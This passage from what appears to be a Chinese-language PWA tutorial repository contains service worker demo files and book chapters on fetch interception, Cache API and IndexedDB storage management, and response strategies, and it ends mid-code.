    "content": "/**\n * @file sw.js\n * @author pwa\n */\n\n/* global self, caches, fetch */\n\nself.addEventListener('install', event => {\n  self.skipWaiting()\n  event.waitUntil(\n    caches.open('service-worker-cahce-demo')\n      .then(cache => {\n        // 在安装的时候将页面的静态资源都加入到缓存\n        return cache.addAll([\n          '/',\n          '/index.html',\n          '/index.js',\n          '/index.css',\n          '/imgs/dog.jpg'\n        ])\n      })\n  )\n})\n\nself.addEventListener('fetch', event => {\n  event.respondWith(\n    // 当匹配到缓存中存在的静态资源请求，就优先从缓存中取\n    caches.match(event.request).then(response => {\n      // 如果命中了缓存，就直接返回缓存的内容\n      if (response) {\n        return response\n      }\n      // 如果没命中缓存，还是继续走网络请求\n      // 在这个过程中，将网络请求写入缓存\n      let fetchRequest = event.request.clone()\n\n      return fetch(fetchRequest).then(response => {\n        // 检查是不是一个正常的 response 返回\n        if (!response ||\n          response.status !== 200 ||\n          response.type !== 'basic'\n        ) {\n          return response\n        }\n\n        // 将动态的网络请求写入缓存\n        let responseToCache = response.clone()\n        caches.open('service-worker-cahce-demo')\n          .then(cache => {\n            cache.put(event.request, responseToCache)\n          })\n\n        return response\n      })\n    })\n  )\n})\n\nself.addEventListener('activate', event => {\n  event.waitUntil(\n    Promise.all([\n      self.clients.claim(),\n      self.clients.matchAll().then(clients => {\n        clients && clients.length && clients.forEach(client => {\n          // 给每个终端都发送 postMessage\n          client.postMessage('sw.update')\n        })\n      })\n      // 如果 Service Worker 的更新需要删除掉以前的老的缓存也可以在这进行\n    ])\n  )\n})\n"
  },
  {
    "path": "chapter04/code/serviceWorkerDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./sw.js')\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerDemo/sw.js",
    "content": ""
  },
  {
    "path": "chapter04/code/serviceWorkerIndexeddbDemo/fruits.json",
    "content": "{\n  \"data\": \"demo\"\n}"
  },
  {
    "path": "chapter04/code/serviceWorkerIndexeddbDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Lifecycle Demo</title>\n  </head>\n  <body>\n    <script>\n      /* global fetch */\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js')\n          })\n      }\n\n      fetch('./fruits.json')\n        .then(response => response.json())\n        .then(data => {\n          // 将请求返回的数据打印出来\n          console.log(JSON.stringify(data, null, 2))\n        })\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerIndexeddbDemo/sw.js",
    "content": "/**\n * @file sw.js\n * @author pwa\n */\n\n/* global self, Response */\n\n// 为了保证每次新建的 indexedDB 都会触发更新\n// 用时间戳来维护 db 的版本号\n// 由于 Service Worker 只会在首次激活，所以能保证版本的激活时更新\nlet indexeddbVersion = Date.now()\n\nfunction createDB () {\n  return new Promise((resolve, reject) => {\n    let request = self.indexedDB.open('fruits', indexeddbVersion)\n\n    request.onupgradeneeded = e => {\n      let db = e.target.result\n      let store\n      if (!db.objectStoreNames.contains('fruitStore')) {\n        store = db.createObjectStore('fruitStore', {keyPath: 'id'})\n      } else {\n        store = e.target.transaction.objectStore('fruitStore')\n      }\n\n      store.put({\n        id: 123,\n        name: 'apple',\n        price: 10.99,\n        quantity: 200\n      })\n\n      store.put({\n        id: 321,\n        name: 'pear',\n        price: 8.99,\n        quantity: 100\n      })\n\n      store.put({\n        id: 222,\n        name: 'orange',\n        price: 11.99,\n        quantity: 300\n      })\n\n      resolve(true)\n    }\n  })\n}\n\nself.addEventListener('activate', event => {\n  event.waitUntil(\n    createDB()\n  )\n})\n\nfunction readDB () {\n  return new Promise((resolve, reject) => {\n    let request = self.indexedDB.open('fruits', indexeddbVersion)\n    request.onsuccess = e => {\n      let db = e.target.result\n      let transaction = db.transaction(['fruitStore'], 'readonly')\n      let objectStore = transaction.objectStore('fruitStore')\n      // 打开一个游标\n      let cursorRequest = objectStore.openCursor()\n      let results = []\n      cursorRequest.onsuccess = e => {\n        let cursor = e.target.result\n        if (cursor) {\n          results.push(cursor.value)\n          cursor.continue()\n        } else {\n          // 打印出所有的水果的信息\n          resolve(new Response(JSON.stringify(results)))\n        }\n      }\n    }\n  })\n}\n\nself.addEventListener('fetch', event => {\n  let url = event.request.url\n  if (url.includes('/fruits.json')) {\n    // 将从数据库中读取的水果列表数据当成 /fruits.json 请求的返回\n    event.respondWith(\n      readDB()\n    )\n  }\n})\n"
  },
  {
    "path": "chapter04/code/serviceWorkerLifecycleDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Lifecycle Demo</title>\n  </head>\n  <body>\n    <img src=\"./imgs/dog.jpg\" alt=\"demo image\" />\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js?v=20190401235959')\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerLifecycleDemo/sw.js",
    "content": "/**\n * @file sw.js\n * @author pws\n */\n\n/* global self */\n\nconsole.log('service worker 注册成功')\n\nself.addEventListener('install', event => {\n  // 跳过等待\n  self.skipWaiting()\n  // 引入 event.waitUntil 方法\n  event.waitUntil(new Promise((resolve, reject) => {\n    // 模拟 promise 返回错误结果的情况\n    // reject('安装出错')\n    resolve('安装成功')\n    console.log('service worker 安装成功')\n  }))\n})\n\nself.addEventListener('activate', () => {\n  // 激活回调的逻辑处理\n  console.log('service worker 激活成功')\n})\n\nself.addEventListener('fetch', event => {\n  console.log('service worker 抓取请求成功: ' + event.request.url)\n})\n"
  },
  {
    "path": "chapter04/code/serviceWorkerScopeDemo/a/b/sw.js",
    "content": ""
  },
  {
    "path": "chapter04/code/serviceWorkerScopeDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./a/b/sw.js')\n          .then(reg => {\n            console.log(reg.scope)\n            // http://127.0.0.1:8000/a/b/\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerScopeDemo1/a/a-sw.js",
    "content": "/**\n * @file service worker 文件\n * @author pwa\n */\n\n/* global self */\n\nself.version = '20190402235959'\n"
  },
  {
    "path": "chapter04/code/serviceWorkerScopeDemo1/a/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo1 PageA</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              if (reg.scope !== 'https://127.0.0.1:8000/a/') {\n                reg.unregister()\n              }\n            }\n            // 注销掉污染 Service Worker 之后再重新注册自己作用域的 Service Worker\n            navigator.serviceWorker.register('./a-sw.js')\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerScopeDemo1/b/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo1 PageB</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('/root-sw.js?v=20190402235959')\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerScopeDemo1/root-sw.js",
    "content": ""
  },
  {
    "path": "chapter04/code/serviceWorkerUnregisterDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Unregister Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 正常进行注册 Service Worker\n        navigator.serviceWorker.register('./sw.js?v=20190401235959')\n        let script = document.createElement('script')\n        // 假设这个 JS 中存在 Service Worker 开关全局变量\n        script.src = 'https://some-static-cdn-host/sw-on-off.js'\n        script.async = true\n        script.onload = () => {\n          // Service Worker 开关全局变量的名称\n          if (window.SW_TURN_OFF) {\n            navigator.serviceWorker.getRegistrations()\n              .then(regs => {\n                for (let reg of regs) {\n                  // 注销掉所有的 Service Worker\n                  reg.unregister()\n                }\n              })\n          }\n        }\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerUnregisterDemo/sw.js",
    "content": ""
  },
  {
    "path": "chapter04.md",
    "content": "# Service Worker\n\nService Worker 是 PWA 技术基础之一，脱离浏览器主线程的特性，使得 Web App 离线缓存成为可能，更为后台同步、通知推送等功能提供了思路。Service Worker 和缓存之间的关系，可以理解为 Service Worker 是一种调度机制，类似于铁路调度系统，而缓存则类似于具体的火车，可以是绿皮车、动车、高铁等，所有的车都是基于这一套铁路调度系统在工作的，使用 Service Worker 可以在不同场景下更加精细化控制缓存。\n\n本章中会深入 Service Worker 的技术细节，介绍 Service Worker 注册方法、生命周期以及更新机制等内容，并学习如何调试 Service Worker。掌握这些基本的知识，可以让我们更容易理解 PWA 离线缓存机制的实现原理。\n\n"
  },
  {
    "path": "chapter05/1-fetch-event-management.md",
    "content": "# 资源请求的拦截代理\n\n对资源请求的拦截代理是 Service Worker 的重要功能之一。Service Worker 在完成注册并激活之后，对 `fetch` 事件的监听就会开始生效，我们可以在事件回调里完成对请求的拦截与改写。下面这个简单的例子演示了如何拦截 `http://127.0.0.1:8080/data.txt` 的资源请求，并返回固定请求响应的过程：\n\n```js\nself.addEventListener('fetch', function (event) {\n  if (event.request.url === 'http://127.0.0.1:8080/data.txt') {\n    event.respondWith(new Response('Hello World!'))\n  }\n})\n```\n\n这样无论原始的 data.txt 内容是什么，经过上面的 Service Worker 拦截改写之后，都将变成简单的“Hello World!”。基于同样的方法，我们能够对任何形式的资源请求进行拦截代理，包括各种 JS、CSS、HTML 等文本文件，各类接口请求，甚至是图片、视频等数据流都是可以的。\n\n## 资源请求的判断\n\n`fetch` 事件会拦截页面上所有的网络资源请求，但我们通常只对部分资源请求进行处理，其余的请求会继续走浏览器默认的资源请求流程。因此需要对当前的资源请求进行判断分类。\n\n`fetch` 事件回调参数的 `event.request` 属性描述了当前被拦截的资源请求，可以通过它来进行判断分类。event.request 是 Request 对象的实例，包含了资源请求的 URL、请求模式、请求头等全部信息。\n\n一般情况下，资源请求的判断可以通过对 event.request.url 进行匹配来实现。下面的示例代码展示出部分常用的匹配方法：\n\n```js\n// 全等匹配\nif (event.request.url === 'http://127.0.0.1:8080/data.txt') {\n  // 匹配成功\n}\n\n// 正则匹配\nif (/\\/data\\.txt/.test(event.request.url)) {\n  // 匹配成功\n}\n\n// 借助 URL 进行匹配\nlet url = new URL(event.request.url)\nif (\n  url.hostname === '127.0.0.1' &&\n  url.port === '8080' &&\n  url.pathname === '/data.txt'\n) {\n  // 匹配成功\n}\n```\n\n在一些特殊情况下，仅靠 URL 进行文本匹配并不足以判断资源请求是否满足，那么可以利用 event.request 的其他属性进行辅助判断：\n\n```js\n// 匹配 POST 请求\nif (event.request.method === 'POST') {\n  // 匹配成功\n}\n\n// 匹配 text/html 资源类型请求\nif (event.request.headers.get('Content-Type') === 'text/html') {\n  // 匹配成功\n}\n```\n\n我们可以将前面提到的一些常用的匹配方法封装成 `match` 函数，在后续使用的时候，只需要传入匹配规则和资源请求对象即可：\n\n```js\nfunction match (rule, request) {\n  switch (Object.prototype.toString.call(rule)) {\n    // url 文本匹配\n    case '[object String]':\n      // 使用 URL() 将匹配规则传入的路径补全\n      return request.url === new URL(rule, location).href\n\n    // url 正则匹配\n    case '[object RegExp]':\n      return request.url.match(rule)\n\n    // 支持自定义匹配\n    case '[object Function]':\n      return rule(request)\n  }\n}\n```\n\n下面举一些使用 match 方法进行资源请求匹配的例子：\n\n```js\n// 完整版 URL 匹配\nmatch('http://127.0.0.1:8080/data.txt', event.request)\n\n// 相对路径 URL 匹配\n//\n// 假设当前页面网址为 http://127.0.0.1:8080/index.html\n// 那么 /data.txt 会自动补全为 http://127.0.0.1:8080/data.txt\nmatch('/data.txt', event.request)\n\n// 正则匹配\nmatch(/\\/data\\.txt/, event.request)\n\n// 自定义匹配方法\nmatch(\n  request => request.url.indexOf('/data.txt') > 0,\n  event.request\n)\n```\n\n## 资源请求的响应\n\n通过 `fetch` 事件回调参数的方法 `event.respondWith(r)` 可以指定资源请求的响应结果。respondWith(r) 方法的参数 r 可以是一个 Response 对象实例，也可以是一个 Promise 对象，这个 Promise 对象在异步执行完成的时候同样需要 resolve 返回一个 Response 对象实例作为请求的响应结果。下面演示的两种请求响应方式都是可行的：\n\n```js\n// 直接返回 Response 对象\nevent.respondWith(new Response('Hello World!'))\n\n// 等待 1 秒钟之后异步返回 Response 对象\nevent.respondWith(new Promise(resolve => {\n  setTimeout(() => {\n    resolve(new Response('Hello World!'))\n  }, 1000)\n}))\n```\n\n### 异步资源请求响应的正确方式\n\nevent.respondWith 方法与 `install`、`activate` 事件回调参数中的 event.waitUntil 类似，起到了扩展延长 `fetch` 事件生命周期的作用，在 `fetch` 事件回调同步执行完毕之前如果没有调用 event.respondWith(r) 指定资源响应结果，那么就会进入浏览器默认的资源请求流程当中。下面所演示一种常见的错误用法，此时 event.respondWith 是没有任何效果的。\n\n```js\n// 错误用法\nself.addEventListener('fetch', event => {\n  if (event.request.url === 'http://127.0.0.1:8080/data.txt') {\n    setTimeout(() => {\n      event.respondWith(new Response('Hello World!'))\n    }, 1000)\n  }\n})\n```\n\n上面的错误用法当中，原本目的是 1 秒钟之后返回 Response 对象，但由于回调函数同步执行完毕之前没有检测到 event.respondWith(r) 方法的调用，因此在 setTimeout 执行回调之前，浏览器就已经发起网络请求并获取到真实的 data.txt，因此它的响应结果并不是被 Service Worker 改写的“Hello World!”。正确的做法是，应该将异步处理的操作包装成一个 Promise 对象传入 event.respondWith 方法中。\n\n```js\n// 正确用法\n\n// 等待 1 秒钟之后异步返回 Response 对象\nevent.respondWith(new Promise(resolve => {\n  setTimeout(() => {\n    resolve(new Response('Hello World!'))\n  }, 1000)\n}))\n```\n\n### 资源请求响应的错误处理\n\n需要注意的是，当使用了 event.respondWith 指定资源响应之后，无论是以同步还是异步的方式，最终都需要返回 Response 对象。假如返回的不是 Response 对象，或者是过程中存在任何未处理的错误，除了会导致对应的请求失败之外，控制台还会打印出 Service Worker 的程序错误信息。下面举例说明一些常见的错误，并指出其中错误的原因：\n\n```js\n// 错误原因：promise 返回结果非 Response 对象\nevent.respondWith('Hello World!')\nevent.respondWith(Promise.resolve())\nevent.respondWith(Promise.resolve('Hello World!'))\n\n// 错误原因：存在未处理的异步错误\nevent.respondWith(Promise.reject(new Response('Hello World!')))\n```\n\n因此在调用 event.respondWith 的时候，需要主动捕获并处理错误、处理异常返回结果。我们可以封装一个 respond 方法来处理响应的各种异常，处理异常的方式我们在这里选择一种比较简单的方式，那就是直接返回一个状态为 500 的 Response 对象：\n\n```js\nfunction respond (event, handler) {\n  try {\n    // 执行响应处理方法，根据返回结果进行兜底\n    let res = handler(event.request)\n    // 异步的响应结果兜底\n    if (res instanceof Promise) {\n      let promise = res.then(response => {\n          // 如果返回结果非 Response 对象，抛出错误\n          if (!(response instanceof Response)) {\n            throw Error('返回结果异常')\n          }\n          return response\n        })\n        // 异步响应错误处理，即直接返回状态码为 500 Response 对象\n        .catch(() => new Response('Service Worker 出错', {status: 500}))\n\n      event.respondWith(promise)\n      return\n    }\n\n    // 同步响应如果出现任何错误\n    // 可以选择不调用 event.respondWith(r)\n    // 让资源请求继续走浏览器默认的请求流程\n\n    if (res instanceof Response) {\n      event.respondWith(res)\n    }\n  } catch (e) {}\n}\n```\n\n这样，前面提到的各类异常响应就不会导致控制台报错了：\n\n```js\n// 继续走浏览器默认的请求流程\nrespond(event, () => 'Hello World!')\nrespond(event, () => {throw Error('出现异常')})\n\n// 返回 500 Response 对象\nrespond(event, () => Promise.resolve())\nrespond(event, () => Promise.reject())\n\n// 正常返回 'Hello World!'\nrespond(event, () => new Response('Hello World!'))\nrespond(event, () => Promise.resolve(new Response('Hello World!')))\n```\n\n这里展示的返回 500 只是其中一种处理方式，读者可以尝试改写成默认发起 fetch() 请求进行兜底。\n\n## 资源请求与响应操作的管理\n\n在 `fetch` 事件回调当中主要进行着资源请求匹配和响应结果返回的操作，可以把这个过程当做一个路由分发的问题，因此我们可以封装一个 Router 类来实现对路由的匹配规则和操作分发的统一管理。\n\n```js\nclass Router {\n  constructor () {\n    // 存放路由规则\n    this.routes = []\n    // 注册 fetch 事件拦截\n    this.initProxy()\n  }\n\n  initProxy () {\n    self.addEventListener('fetch', event => {\n      // 当拦截到资源请求时，会遍历已注册的路由规则，并执行相应规则所对应的策略\n      for (let route of this.routes) {\n        // 使用前面封装好的 match 函数进行路由规则匹配\n        if (match(route.rule, event.request)) {\n          // 使用前面封装好的 respond 方法执行回调操作\n          respond(event, route.handler)\n          break\n        }\n      }\n    })\n  }\n\n  registerRoute (rule, handler) {\n    this.routes.push({rule, handler})\n  }\n}\n```\n\n有了这个 Router 类之后，开发者将只需关心如何进行资源请求的规则匹配和响应操作的实现问题。接下来我们使用 Router 来改写本节开篇的实例：\n\n```js\nconst router = new Router()\n\nrouter.registerRoute(\n  '/data.txt',\n  () => new Response('Hello World!')\n)\n```\n\n## 小结\n\n本节内容主要介绍了如何在 Service Worker 中监听 `fetch` 事件来实现对资源请求拦截代理，介绍了如何通过 event.request 进行资源请求判断，如何通过 event.respondWith 实现对资源请求的响应。最后实现了 Router 类来实现对资源请求和响应操作的统一管理。在下一节，将会进一步探讨资源响应的策略。\n"
  },
  {
    "path": "chapter05/2-local-storage-management.md",
    "content": "# 本地存储管理\n\n在上一节解决了如何对资源请求进行拦截代理之后，要实现网页的离线缓存还需要解决本地存储的选择与管理问题。\n\n从前面学习中我们知道，处于同一作用域下的网页会共用一个 Service Worker 线程，这个 Service Worker 会同时处理来自不同页面的资源请求的拦截和响应，因此基于性能上的考虑，Service Worker 在设计标准时就要求了任何耗时操作都必须异步实现。这也就导致了在 Service Worker 作用域下能够使用的缓存策略只有 Cache API 和 IndexedDB，因为目前只有二者在功能实现上全部采用了异步形式，而其他诸如 localStorage 属于同步方法，因此无法在 Service Worker 中使用。\n\n关于 Cache API 和 IndexedDB 在第三章基础技术的简介当中已经做了详细介绍，因此本节的重点将主要放在二者的对比，分析二者的使用场景，在使用时需要关心的注意事项等方面，并在最后举例说明如何结合两种存储方式来实现离线缓存的。\n\n## Cache API 与 IndexedDB 的应用场景\n\nCache API 是为资源请求与响应的存储量身定做的，它采用了键值对的数据模型存储格式，以请求对象为键、响应对象为值，正好对应了发起网络资源请求时请求与响应一一对应的关系。因此 Cache API 适用于请求响应的本地存储。\n\nIndexedDB 则是一种非关系型（NoSQL）数据库，它的存储对象主要是数据，比如数字、字符串、Plain Objects、Array 等，以及少量特殊对象比如 Date、RegExp、Map、Set 等等，对于 Request、Response 这些是无法直接被 IndexedDB 存储的。\n\n可以看到，Cache API 和 IndexedDB 在功能上是互补的。在设计本地资源缓存方案时通常以 Cache API 为主，但在一些复杂的场景下，Cache API 这种请求与响应一一对应的形式存在着局限性，因此需要结合上功能上更为灵活的 IndexedDB，通过 IndexedDB 存取一些关键的数据信息，辅助 Cache API 进行资源管理。\n\n## 缓存管理注意事项\n\n在进行本地存储开发的时候，需要注意以下几个问题。\n\n### 本地存储空间是有限的\n\n任何缓存都是有容量大小限制的，Cache API 和 IndexedDB 都不例外。不同的浏览器在分配策略上可能存在不同，一般都会分配出一个较大的存储空间来供这些存储 API 使用。浏览器通常不会主动清除缓存资源，但是如果数据存储容量较大以至于超出浏览器配额时，这时便无法写入资源导致存储失败。\n\n这时浏览器会采用 LRU（Least Recently Used）算法根据数据的历史访问记录来淘汰数据以清理出可存储空间，但这个行为属于浏览器的主动行为不受开发者所控制，可能会导致这部分被清理的缓存资源访问失败。\n\n因此在设计缓存方案时，应该做好缓存资源的过期失效和清理工作，尽量避免被动触发浏览器的资源清理。同时为了满足更加精细化的缓存管理，浏览器提供了 StorageEstimate API 去查询当前缓存空间的使用情况，这样我们就可以利用这些数据来更好地管理缓存资源。其使用方法如下所示：\n\n```js\nnavigator.storage.estimate()\n  .then(estimate => {\n    // 设备为当前域名所分配的存储空间总大小\n    console.log(estimate.quota)\n    // 当前域名已经使用的存储空间大小\n    console.log(estimate.usage)\n  })\n```\n\n### 资源的存取过程可能会失败\n\n资源在写入存储和读取的过程中都存在失败的可能。\n\n写入失败的原因有很多，比如前面提到的存储资源大小超出浏览器配额时，就会被浏览器限制写入。此外，在隐身模式或者是用户未授权的情况下，一些浏览器同样不允许进行存储操作。\n\n本地的存储资源是完全可以被用户访问的，因此用户随时可能对这些存储资源进行修查找对应资源改或删除。一般来说用户修改数据的情况比较少见，但是清除数据还是很常见的，只要用户主动进行浏览器数据清理操作，就会导致存储数据的丢失。\n\n所以应该随时做好存取失败时的异常捕获与降级方案，确保程序运行时不会出错。\n\n### 存储的资源可能会过期\n\n即使在存取过程没有发生任何意外的前提下，存储的资源本身也可能会存在过期失效的问题。资源过期就意味着资源是无用甚至错误的，使用这些过期资源会带来各种意想不到的问题，因此要及时做好资源的更新和旧资源的清理工作。\n\n## 缓存管理实现\n\n接下来我们将通过 CacheWrapper 来统一实现缓存的管理。CacheWrapper 的基本思路是实现对 Cache API 的封装，分别在执行 `cache.put()` 和 `cache.match()` 的时候依次完成对缓存对象的更新和旧资源的清理。资源过期信息存放在 IndexedDB 当中，我们可以使用在第三章中封装了 IndexedDB 的 DB 类来简化 IndexedDB 的操作。\n\n### 构造函数\n\nCacheWrapper 需要传入两个参数 cacheName 和 expireOptions。其中 cacheName 为缓存名称，用于获取 cache 对象以及实例化 db。expireOptions 为资源过期的配置信息，在这里我们只演示资源超时过期的管理，因此只需要传入 maxAgeSeconds 参数规定资源的过期时长即可。\n\n```js\nclass CacheWrapper {\n  constructor ({\n    cacheName,\n    expireOptions: {\n      maxAgeSeconds\n    }\n  }) {\n    this.cacheName = cacheName\n    this.maxAgeSeconds = maxAgeSeconds\n  }\n}\n```\n\n这样我们可以通过如下方式实例化 CacheWrapper：\n\n```js\nconst cacheWrapper = new CacheWrapper({\n  // 给缓存起个名\n  cacheName: 'resource-cache',\n  // 假设缓存 1 星期之后资源过期\n  expireOptions: {\n    maxAgeSeconds: 7 * 24 * 60 * 60\n  }\n})\n```\n\n### 获取 cache 和 db 对象实例\n\n接下来需要定义获取 cache 对象和 db 对象的方法，通过 this.cacheName 指定名称可以获得通过如下方法分别获得：\n\n```js\nclass CacheWrapper {\n  // ...\n\n  async getCache () {\n    if (!this.cache) {\n      this.cache = await caches.open(this.cacheName)\n    }\n    return this.cache\n  }\n\n  getDB () {\n    if (!this.db) {\n      this.db = new DB({storeName: this.cacheName})\n    }\n    return this.db\n  }\n}\n\n```\n\n有了 getCache() 和 getDB() 之后，就可以在后续的方法实现当中直接调用这两个方法分别获得当前的 cache 和 db 对象了。\n\n### 写入资源的同时记录资源过期时间\n\n在调用 cache.put() 方法的时候一般用于新增或者更新本地资源，此时应该同步更新缓存的过期时间。由于传入的 maxAgeSeconds 单位是秒，因此在计算过期时间的时间戳时需要乘以 1000 换算成毫秒：\n\n```js\nclass CacheWrapper {\n  // ...\n\n  async set (request, response) {\n    // 获取 db 对象\n    let db = this.getDB()\n    // 获取 cache 对象\n    let cache = await this.getCache()\n    // 同时更新本地缓存与资源所对应的过期时间\n    await Promise.all([\n      cache.put(request, response),\n      db.setItem(request.url, Date.now() + this.maxAgeSeconds * 1000)\n    ])\n    // 清理过期资源，无需阻塞异步方法的执行\n    this.deleteExpires()\n  }\n}\n```\n\n### 读取资源时排除过期资源\n\n在调用 cache.match() 方法查询本地资源的同时，应该确认对应资源是否过期，只有当资源未过期时再将资源返回结果：\n\n```js\nclass CacheWrapper {\n  // ...\n\n  async get (request) {\n    // 获取 db 对象\n    let db = this.getDB()\n    // 获取 cache 对象\n    let cache = await this.getCache()\n    // 同时读取资源及其过期时间\n    let [response, expireTime] = await Promise.all([\n      cache.match(request),\n      db.getItem(request.url)\n    ])\n    // 如果未超时则代表资源没过期，将读取到的资源返回\n    // 如果资源过期则不返回任何内容\n    if (expireTime > Date.now()) {\n      return response\n    }\n    // 清理过期资源，无需阻塞异步方法的执行\n    this.deleteExpires()\n  }\n}\n```\n\n### 过期资源清理方法实现\n\n在调用 CacheWrapper 的 `set()` 和 `get()` 方法结束前，都调用了 `deleteExpires` 统一进行过期资源清理，其方法的实现如下所示：\n\n```js\nclass CacheWrapper {\n  // ..\n\n  async deleteExpires () {\n    // 获取 db 对象\n    let db = this.getDB()\n    // 获取 cache 对象\n    let cache = await this.getCache()\n    // 获取全部资源的过期信息\n    let map = await db.getAll()\n    if (!map) {\n      return\n    }\n    let now = Date.now()\n    // 遍历所有过期信息，并对过期资源进行清理\n    for (let [url, expireTime] of map) {\n      if (expireTime <= now) {\n        await cache.delete(url)\n      }\n    }\n  }\n}\n```\n\n### 利用 CacheWrapper 实现对资源的过期管理\n\n这样我们就可以通过使用 CacheWrapper 实现对资源进行简易的过期管理。比如下面的例子所展示的，结合 Router 实现对图片资源的过期清理。在这个例子中，我们优先从本地缓存中读取图片资源，如果资源尚未被缓存或者资源过期，则发起网络请求获取最新资源并缓存到本地。利用 CacheWrapper 可以非常方便地实现缓存过期管理：\n\n```js\nconst router = new Router()\n// 实例化 cacheWrapper 对象\nconst cacheWrapper = new CacheWrapper({\n  // 单独给图片资源分配缓存名称\n  cacheName: 'image-cache',\n  expireOptions: {\n    // 对图片资源缓存 1 星期\n    maxAgeSeconds: 7 * 24 * 60 * 60\n  }\n})\nrouter.registerRoute(/\\.(jpe?g|png)$/, async request => {\n  // 优先读取本地缓存中的图片\n  // 如果本地无缓存图片/缓存过期/读取缓存出错，则 response 为空\n  let response = await cacheWrapper.get(request).catch(() => {})\n  if (response) {\n    return response\n  }\n  // 如果本地尚未缓存或者缓存过期，则发起网络请求获取最新图片资源\n  response = await fetch(request.clone())\n  // 如果请求成功，则更新缓存\n  // 更新缓存过程无需阻塞进程\n  if (response.ok) {\n    cacheWrapper.set(request, response.clone())\n  }\n  // 返回资源\n  return response\n})\n```\n\n资源管理除了上面所演示的过期管理之外，还可以对某一类资源限制存储的数量，比如限制图片最多缓存 10 张等等，这些管理方案都可以通过 Cache API 与 IndexedDB 相结合的方式实现，在这里就不一一做演示了，读者可以根据 CacheWrapper 的思路进行相关功能的实现。\n"
  },
  {
    "path": "chapter05/3-respond-strategy.md",
    "content": "# 资源请求响应策略\n\n在 Service Worker 环境下，可以通过 Fetch API 发送网络请求获取资源，也可以通过 Cache API、IndexedDB 等本地缓存中获取缓存资源，甚至可以在 Service Worker 直接生成一个 Response 对象，以上这些都属于资源响应的来源。资源请求响应策略的作用，就是用来解决响应的资源从哪里来的问题。\n\n接下来将介绍一些常用的策略及其简易实现，这些给出的策略代码其主要作用是演示策略的基本实现思路而移除了不少容错兜底的相关逻辑，读者可以在理解思路的基础上对这些代码进行补充完善，并尝试应用到实际的生产环境当中。\n\n由于这些策略都涉及到较为复杂的异步操作，因此在介绍策略的编程实现时将会使用 ES7 的 Async 函数语法来简化代码逻辑。对 Async 函数不太了解的同学可以首先查看第三章 Async 函数的介绍进行简要学习。\n\n## 准备工作\n\n在介绍响应策略前，首先得统一策略函数的一些基本格式以及声明一些共用方法。\n\n### 统一策略函数格式\n\n在前面资源请求的拦截代理一节中我们封装了 Router 来统一管理请求响应的分发，对应的响应策略函数以当前请求对象 request 为参数，以响应对象 response，或者异步返回 response 的 Promise 对象最为返回值，这就构成了策略函数的基本格式：\n\n```js\n/**\n * 策略函数格式\n *\n * @param  {Request} request 当前请求对象\n * @return {Response|Promise.<Response>} 响应对象\n */\nfunction strategy (request) {\n  // ...\n  return response\n}\n```\n\n由于这些响应策略都或多或少地使用到了 Fetch API、Cache API 的功能，不同的策略在不同的应用场景下所使用的配置可能不一样，为了实现灵活且规范化的配置，我们在这里统一使用高阶函数的形式进行实现：\n\n```js\nfunction strategyFactory ({\n  // Fetch API 配置\n  fetchOptions,\n  // Cache 名称\n  cacheName = 'runtime-cache',\n  // cache.match 配置\n  matchOptions\n} = {}) {\n  return request => {\n    // 使用 Fetch API 发请求就可以将 fetchOptions 作为参数传入：\n    fetch(request, fetchOptions).then(response => {/* 相关处理 */})\n    // ...\n    // 使用 cacheName 获取缓存对象\n    caches.open(cacheName).then(cache => {\n      // 使用 matchOptions 配置查找缓存\n      cache.match(request, matchOptions)\n    })\n\n    // ...\n    return response\n  }\n}\n```\n\n我们就可以通过这个形式的函数参数传入各项配置，而函数的返回结果就是配置好的策略函数本身：\n\n```js\nlet strategy = strategyFactory({\n  fetchOptions: {\n    mode: 'cors'\n  },\n  cacheName: 'v1',\n  matchOptions: {\n    ignoreSearch: true\n  }\n})\n// 配合 Router 进行策略的注册与使用\nrouter.registerRoute('/data.txt', strategy)\n```\n\n### 公用方法\n\n接下来定义一些常用的方法以便简化接下来的策略实现代码。这些公用方法以局部方法的形式定义在策略工厂函数的函数体内，这样就可以直接使用到工厂函数所传入的参数了。\n\n`cacheResponse()` 的作用是往缓存中写入资源：\n\n```js\nconst cacheResponse = async (request, response) => {\n  // 使用 cacheName 参数打开缓存\n  let cache = await 